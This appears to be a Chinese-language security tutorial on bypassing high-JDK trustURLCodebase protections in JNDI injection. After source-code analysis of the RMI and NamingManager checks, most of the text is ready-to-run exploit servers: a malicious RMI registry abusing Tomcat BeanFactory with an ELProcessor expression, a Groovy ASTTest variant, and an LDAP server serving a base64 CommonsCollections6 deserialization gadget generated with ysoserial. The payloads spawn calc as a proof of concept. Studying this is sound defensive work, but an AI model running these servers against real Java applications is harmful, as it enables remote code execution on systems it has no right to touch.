trustURLCodebase分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 private Object decodeObject (Remote r, Name name) throws NamingException { try { Object obj = (r instanceof RemoteReference) ? ((RemoteReference)r).getReference() : (Object)r; Reference ref = null ; if (obj instanceof Reference) { ref = (Reference) obj; } else if (obj instanceof Referenceable) { ref = ((Referenceable)(obj)).getReference(); } if (ref != null && ref.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException ( "The object factory is untrusted. Set the system property" + " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'." ); } return NamingManager.getObjectInstance(obj, name, this , environment); }
直接看最后带return的if代码块
1 2 3 4 5 6 7 8 if (ref != null && ref.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException ( "The object factory is untrusted. Set the system property" + " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'." ); } return NamingManager.getObjectInstance(obj, name, this , environment);
为了不抛出异常,我们需要考虑三个参数
1 2 3 ref = null 或者 ref.getFactoryClassLocation() = null 或者 trustURLCodebase = ture
我们一般考虑最简单的trustURLCodebase为ture,但是在高版本的jdk中,trustURLCodebase默认为false,所以为了不跑出ConfigurationException异常,我们只能使用前两种,也就是ref = null 或者 ref.getFactoryClassLocation() = null
1 2 3 对于ref = null ,需要obj 既不是 Reference 也不是 Referenceable,即不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,但是我们注入都是使用RMI进行操作,很难实现直接实例化本地对象 对于ref.getFactoryClassLocation() = null,即让 ref 对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键。
也就是说我们需要在本地代码里找到一个满足条件的factory类,那就可以绕过ConfigurationException ,要满足这种情况,我们只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase
接着我们去分析下一步的解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null ) { return answer; } } } answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null ) ? answer : refInfo; }
在处理 Reference 对象时,会先调用 ref.getFactoryClassName()
获取对应工厂类的名称,如果为空则通过网络去请求,即上述链接前文的情况;如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回。
所以我们可以找一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。这种通过目标已有代码去实现任意代码执行的漏洞利用辅助类统称为 gadget
。
在这些 Gadget 中,最为常用的一个就是 org.apache.naming.factory.BeanFactory
绕过方法一 javax.el.ELProcessor server端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <version>9.0.8</version> </dependency>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class TomcatBeanFactoryServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(10010 ); ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" , "bitterz=eval" )); ref.add(new StringRefAddr ("bitterz" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("RCE" , referenceWrapper); } }
groovy.lang.GroovyClassLoader.parseClass(String text) 1 2 3 4 5 <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy-all</artifactId> <version>2.4.9</version> </dependency>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.jndiBypass;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import groovy.lang.GroovyClassLoader;public class GroovyShellServer { public static void main (String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 10010" ); Registry registry = LocateRegistry.createRegistry(10010 ); ResourceRef ref = new ResourceRef ("groovy.lang.GroovyClassLoader" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" , "x=parseClass" )); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" + "})\n" + "def x\n" ; ref.add(new StringRefAddr ("x" ,script)); ReferenceWrapper referenceWrapper = new com .sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("evilGroovy" , referenceWrapper); } }
绕过方法二 LDAP Server返回序列化数据,触发本地反序列化Gadget cc链,先使用ysoserial.jar生成
1 java -jar ysoserial.jar CommonsCollections6 "calc"|base64
放入entry即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package JNDIInjection.HighVer.SerializeLdap;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import com.unboundid.util.Base64;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;public class SerializeLdapServer { public static void main (String[] args) throws Exception { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig ("dc=example,dc=com" ); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("127.0.0.1" ), 389 , ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() )); config.addInMemoryOperationInterceptor(new OperationInterceptor ()); InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer (config); directoryServer.startListening(); System.out.println("ldap://127.0.0.1:389 is working..." ); } private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry entry = new Entry (base); entry.addAttribute("javaClassName" , "hahaha" ); try { entry.addAttribute("javaSerializedData" , Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv" + "cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB" + "H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4" + "cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC" + "nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z" + "Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp" + "bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv" + "Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u" + "cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl" + "LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU" + "AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz" + "cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv" + "cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h" + "bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz" + "O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1" + "cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA" + "AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA" + "AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA" + "AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA" + "AAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdl" + "chLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAB" + "c3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xk" + "eHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=" )); result.sendSearchEntry(entry); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); }catch (Exception e){ e.printStackTrace(); } } } }